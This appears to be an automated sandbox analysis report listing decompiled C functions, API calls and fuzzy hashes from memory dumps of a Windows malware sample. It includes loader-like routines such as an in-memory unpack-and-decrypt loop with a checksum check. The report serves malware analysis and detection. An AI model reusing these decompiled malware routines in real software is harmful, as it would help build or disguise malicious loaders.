Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0092225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0092225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E0092550E();
				if(_t21 != 0) {
					_t59 =  *0x92d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x92d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x92d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E00923D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x92d27c; // 0x298a5a8
					if( *0x92d25c > 5) {
						_t8 = _t26 + 0x92e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x92ea15; // 0x44283a44
						_t27 = _t7;
					}
					E00921BF4(_t27, _t27);
					_t31 = E00921B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x92d270 =  *0x92d270 ^ 0x81bbe65d;
						_t32 = E00922049(0x60);
						__eflags = _t32;
						 *0x92d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x92d32c; // 0x32b95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x92d32c; // 0x32b95b0
							 *_t51 = 0x92e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x92d238, 0, 0x43);
							__eflags = _t36;
							 *0x92d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x92d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x92d27c; // 0x298a5a8
								_t13 = _t58 + 0x92e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x92c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0092269C( ~_v8 &  *0x92d270, 0x92d00c); // executed
								_t42 = E00924094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E009296A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E00926786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E00923DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x92d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0092A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x0092225b
0x00922266
0x00922269
0x0092226c
0x0092226f
0x00922276
0x00922278
0x00922284
0x00922286
0x00922286
0x0092228f
0x00922297
0x0092229a
0x009222b4
0x009222c0
0x009222c2
0x009222c7
0x009222d1
0x009222d1
0x009222c9
0x009222c9
0x009222c9
0x009222c9
0x009222d8
0x009222e5
0x009222ec
0x009222f1
0x009222f1
0x009222f9
0x009222fc
0x00922322
0x0092232e
0x00922333
0x00922335
0x0092233a
0x00922366
0x00922368
0x0092233c
0x00922340
0x00922345
0x0092234a
0x00922351
0x00922357
0x0092235c
0x00922362
0x00922369
0x0092236b
0x0092236d
0x0092237c
0x00922382
0x00922384
0x00922389
0x009223b9
0x009223bb
0x0092238b
0x0092238b
0x00922391
0x0092239e
0x009223a4
0x009223a4
0x009223ac
0x009223b5
0x009223bc
0x009223be
0x009223c0
0x009223c7
0x009223d4
0x009223d9
0x009223de
0x009223e0
0x009223e2
0x00000000
0x00000000
0x009223e4
0x009223e9
0x009223eb
0x009223f2
0x009223f6
0x009223f9
0x0092240e
0x00922412
0x00922417
0x00000000
0x00922417
0x009223fb
0x009223fd
0x00000000
0x00000000
0x00922403
0x00922408
0x0092240a
0x0092240c
0x00000000
0x00000000
0x00000000
0x0092240c
0x009223ef
0x009223ef
0x009223c0
0x009222fe
0x009222fe
0x00922303
0x00922419
0x0092241d
0x00922425
0x00922425
0x00000000
0x0092241d
0x00922309
0x0092230c
0x00922316
0x0092231d
0x00000000
0x0092242d
0x0092242d
0x00922431
0x00922435
0x00922435

APIs

Part of subcall function 0092550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,00922274,00000000,00000000), ref: 0092551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 009222F1

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

memset.NTDLL ref: 00922340
RtlInitializeCriticalSection.NTDLL(032B9570), ref: 00922351

Part of subcall function 00923DD9: memset.NTDLL ref: 00923DEE
Part of subcall function 00923DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00923E22
Part of subcall function 00923DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 00923E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0092237C
wsprintfA.USER32 ref: 009223AC

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 78dc072d651e4e48829f62843fa3b60a03ec37163599f1785ddb71df1e45e256
Instruction ID: 393bb5c5239c7ac1ca5e67180d7f7f31cc0c7f042dede90e058379b5cdc9aa06
Opcode Fuzzy Hash: 78dc072d651e4e48829f62843fa3b60a03ec37163599f1785ddb71df1e45e256
Instruction Fuzzy Hash: 7E51F171A16234FBDB34EBA4FC89B6E37ACAB48704F104426F101D7169E7788D059B90

Uniqueness

Uniqueness Score: -1.00%

Function 00923AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 00923B46
SysAllocString.OLEAUT32(00921885), ref: 00923B89
SysFreeString.OLEAUT32(00000000), ref: 00923B9D
SysFreeString.OLEAUT32(00000000), ref: 00923BAB

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 0dc4220b18a0a40fa8779b14471cb93e86f70806252728f01be945e2256ff192
Instruction ID: 7f57c25d1d5b60c8e88f71c8d6c13a63427c3b5e227a657e9d60b57eb4812b22
Opcode Fuzzy Hash: 0dc4220b18a0a40fa8779b14471cb93e86f70806252728f01be945e2256ff192
Instruction Fuzzy Hash: F9310EB1910109EFDB15DF98E8C48AE7BB9FF48340B10846EF91AE7210D7399A46DF61

Uniqueness

Uniqueness Score: -1.00%

Function 100018F4, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100018F4(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x10004130;
				_t39 = E10001F5D(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x1000414c;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x100051a7; // 0x100051a7
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E100018C4(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x1000414c = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

0x100018fb
0x1000190b
0x10001912
0x10001915
0x1000192a
0x10001931
0x10001936
0x10001947
0x1000194a
0x10001952
0x10001955
0x100019ff
0x1000195b
0x1000195b
0x1000195f
0x100019c7
0x10001961
0x10001961
0x10001964
0x10001966
0x1000196e
0x10001971
0x10001974
0x1000197c
0x10001984
0x10001985
0x10001986
0x1000198d
0x1000198d
0x100019a1
0x100019a6
0x100019af
0x100019b6
0x100019b9
0x100019bd
0x100019c2
0x00000000
0x00000000
0x10001979
0x10001979
0x100019c4
0x100019d1
0x100019e6
0x100019d3
0x100019dc
0x100019e1
0x100019f7
0x100019f7
0x10001a06
0x10001a0c

APIs

VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Strings

Mar 9 2021, xrefs: 1000197C

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 9 2021
API String ID: 4010158826-2159264323
Opcode ID: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction ID: d25fb31f2c2add74eafa799964551cc2416acfdb7abcc9e218ddf36d438f9e1f
Opcode Fuzzy Hash: a02594a73b1b769850a39e6d0cf862abb4b58f68e535dbed4b7f3a649922de48
Instruction Fuzzy Hash: 4D315271E0111A9FEB01CF99C891ADEBBF5EF48384F108169E904A7259D771AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00921A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00921A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E00922049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x00921a7c
0x00921a80
0x00921a81
0x00921a82
0x00921a84
0x00921a86
0x00921a8b
0x00921a8e
0x00921b25
0x00921b2c
0x00921b2c
0x00921a97
0x00921a9e
0x00921aae
0x00921aae
0x00921ab4
0x00921ab6
0x00921abb
0x00921ac4
0x00921acc
0x00921acf
0x00921ada
0x00921ade
0x00921ae0
0x00921ae1
0x00921aea
0x00921aee
0x00921aff
0x00921af0
0x00921af5
0x00921afa
0x00921b09
0x00921b09
0x00921ade
0x00921b0f
0x00921b15
0x00921b15
0x00921b1e
0x00921b23
0x00921b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 00921A9E
lstrlenW.KERNEL32(?), ref: 00921AD4
memcpy.NTDLL(00000000,?,?,?), ref: 00921AF5
SysFreeString.OLEAUT32(?), ref: 00921B09

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 89028ddf15ddfe2c1c7da8928c71b9dd4f5fa84e1f36dc46ff4290ae4165ee43
Instruction ID: e87f833fc48ad18eba63e4cfff9a838cfe16e12cb55fa7db6b7bcdc666c08803
Opcode Fuzzy Hash: 89028ddf15ddfe2c1c7da8928c71b9dd4f5fa84e1f36dc46ff4290ae4165ee43
Instruction Fuzzy Hash: 89217175A01219EFCB10DFA8E884EDEBBB9FF58301B104169E805E7218E730DA55CB50

Uniqueness

Uniqueness Score: -1.00%

Function 009294A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E009294A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E00922049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x92c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x92c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x009294b4
0x009294b8
0x009294ba
0x009294bb
0x009294c3
0x009294c3
0x009294c7
0x00000000
0x00000000
0x009294be
0x009294bf
0x009294c2
0x009294c2
0x009294cf
0x009294d6
0x009294da
0x009294e2
0x009294e8
0x009294ea
0x009294ef
0x009294f3
0x009294f5
0x009294f8
0x009294ff
0x009294ff
0x00929509
0x0092950c
0x0092950f
0x0092950f
0x0092951b
0x0092951b
0x00929528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,032B95AC,?,009223DE,?,00927634,032B95AC,?,009223DE), ref: 009294C3
StrTrimA.KERNELBASE(?,0092C2A4,00000002,?,009223DE,?,00927634,032B95AC,?,009223DE), ref: 009294E2
StrChrA.SHLWAPI(?,00000020,?,009223DE,?,00927634,032B95AC,?,009223DE), ref: 009294ED
StrTrimA.SHLWAPI(00000001,0092C2A4,?,009223DE,?,00927634,032B95AC,?,009223DE), ref: 009294FF

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 4121b91a08163c2d5fc566db2f9e89a7fbd255a85b68fdc3c46e67a02d21165c
Instruction ID: 20fd77673348773fd98c1b9e3d2d6c3dff453ed26b5037da4c73bead229e5398
Opcode Fuzzy Hash: 4121b91a08163c2d5fc566db2f9e89a7fbd255a85b68fdc3c46e67a02d21165c
Instruction Fuzzy Hash: DE01B57170A3316FD2319F69AC49F3BBA9CEB86754F110519FC51C7255DB64C80296A0

Uniqueness

Uniqueness Score: -1.00%

Function 1000111A, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1000111A(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E1000163F(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x10001123
0x10001128
0x10001136
0x1000113b
0x1000113b
0x10001141
0x10001146
0x1000114a
0x1000114e
0x1000114e
0x10001158
0x10001161

APIs

GetCurrentThread.KERNEL32 ref: 1000111D
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 10001128
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 1000113B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 1000114E

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction ID: 4c0cec3966cfd65f316416e497d44ff5eb1b0779e4299dd3e4543c5f6ab01fef
Opcode Fuzzy Hash: c35cabef654aae5fe09134992651e52fd0a70a53666a0e792eef5a60e0c71ab1
Instruction Fuzzy Hash: 91E092712066216BF302AB294C85EEB679DDF953F0B028225F620D22E8CF659D0286A5

Uniqueness

Uniqueness Score: -1.00%

Function 009273FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009273FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0092A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x92d27c; // 0x298a5a8
				_t4 = _t24 + 0x92ede0; // 0x32b9388
				_t5 = _t24 + 0x92ed88; // 0x4f0053
				_t26 = E00921262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x92d27c; // 0x298a5a8
						_t11 = _t32 + 0x92edd4; // 0x32b937c
						_t48 = _t11;
						_t12 = _t32 + 0x92ed88; // 0x4f0053
						_t55 = E00927CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x92d27c; // 0x298a5a8
							_t13 = _t35 + 0x92ee1e; // 0x30314549
							if(E009289D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14) == 0) {
								_t61 =  *0x92d25c - 6;
								if( *0x92d25c <= 6) {
									_t42 =  *0x92d27c; // 0x298a5a8
									_t15 = _t42 + 0x92ec2a; // 0x52384549
									E009289D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x92d27c; // 0x298a5a8
							_t17 = _t38 + 0x92ee18; // 0x32b93c0
							_t18 = _t38 + 0x92edf0; // 0x680043
							_t45 = E00922659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x92d238, 0, _t55);
						}
					}
					HeapFree( *0x92d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E00921F99(_t54);
				}
				return _t45;
			}

0x009273fd
0x0092740d
0x00927410
0x00927417
0x00927419
0x00927419
0x0092741c
0x00927421
0x00927428
0x00927435
0x0092743a
0x0092743e
0x0092744c
0x0092745a
0x0092745e
0x009274ef
0x009274ef
0x00927464
0x00927464
0x00927469
0x00927469
0x00927470
0x0092747c
0x0092747e
0x00927480
0x00927482
0x00927489
0x0092749b
0x0092749d
0x009274a4
0x009274a6
0x009274ad
0x009274b8
0x009274b8
0x009274a4
0x009274bd
0x009274c2
0x009274c9
0x009274e7
0x009274e9
0x009274e9
0x00927480
0x009274fb
0x009274fb
0x009274fd
0x00927502
0x00927504
0x00927504
0x0092750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,032B9388,00000000,?,74B5F710,00000000,74B5F730), ref: 0092744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,032B93C0,?,00000000,30314549,00000014,004F0053,032B937C), ref: 009274E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00926814), ref: 009274FB

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 831e6c6d0f97f12d47e4cd65ad076f20c17611957e435ded978af268d0cf3cad
Instruction ID: 5b9470cf71a1cccc935ff0bcbfb91463ba72a0efb42a1bc5fdc99a09cc46db44
Opcode Fuzzy Hash: 831e6c6d0f97f12d47e4cd65ad076f20c17611957e435ded978af268d0cf3cad
Instruction Fuzzy Hash: 84319172906128FFEB21EBE1EC85EAABBBDEF44300F1500A5B510A7175D7709E05EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00928504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00928504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x92d340; // 0x32b9928
				_push(0x800);
				_push(0);
				_push( *0x92d238);
				if( *0x92d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x92d24c =  *0x92d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E00922496(_t44, _t40);
						_t18 = E0092A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x92d24c < 5) {
								 *0x92d24c =  *0x92d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E0092A1B0();
						RtlFreeHeap( *0x92d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E0092A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E00928B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x00928504
0x00928507
0x00928508
0x00928512
0x00928519
0x0092851e
0x00928520
0x00928526
0x0092854e
0x00928566
0x00928568
0x00928569
0x0092856b
0x009285a9
0x009285a9
0x009285af
0x009285b5
0x009285b5
0x0092856d
0x00928573
0x00928576
0x00928585
0x00928587
0x0092858e
0x009285c2
0x009285c7
0x009285c9
0x009285cb
0x009285cb
0x00000000
0x009285c9
0x00928590
0x00928595
0x009285a3
0x00000000
0x009285a3
0x0092855d
0x00928562
0x00928562
0x00000000
0x00928562
0x00928530
0x00000000
0x00000000
0x0092853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 00928528

Part of subcall function 00928B94: GetTickCount.KERNEL32 ref: 00928BA8
Part of subcall function 00928B94: wsprintfA.USER32 ref: 00928BF8
Part of subcall function 00928B94: wsprintfA.USER32 ref: 00928C15
Part of subcall function 00928B94: wsprintfA.USER32 ref: 00928C41
Part of subcall function 00928B94: HeapFree.KERNEL32(00000000,?), ref: 00928C53
Part of subcall function 00928B94: wsprintfA.USER32 ref: 00928C74
Part of subcall function 00928B94: HeapFree.KERNEL32(00000000,?), ref: 00928C84
Part of subcall function 00928B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00928CB2
Part of subcall function 00928B94: GetTickCount.KERNEL32 ref: 00928CC3

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 00928546
RtlFreeHeap.NTDLL(00000000,00000002,0092685F,?,0092685F,00000002,?,?,00922417,?), ref: 009285A3

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 0bb71b70352d2199ef289ad37a82652c26e1b959ea8826be2e08e01b1e674fc9
Instruction ID: 763bc4a58bc990ca7f099af66e3eaca34f4402d95dd8060d3d4fbdffad74c39d
Opcode Fuzzy Hash: 0bb71b70352d2199ef289ad37a82652c26e1b959ea8826be2e08e01b1e674fc9
Instruction Fuzzy Hash: D62180B2216224EFCB21DF55EC80F9B37ACEF88350F104066F901DB255DB70D905ABA1

Uniqueness

Uniqueness Score: -1.00%

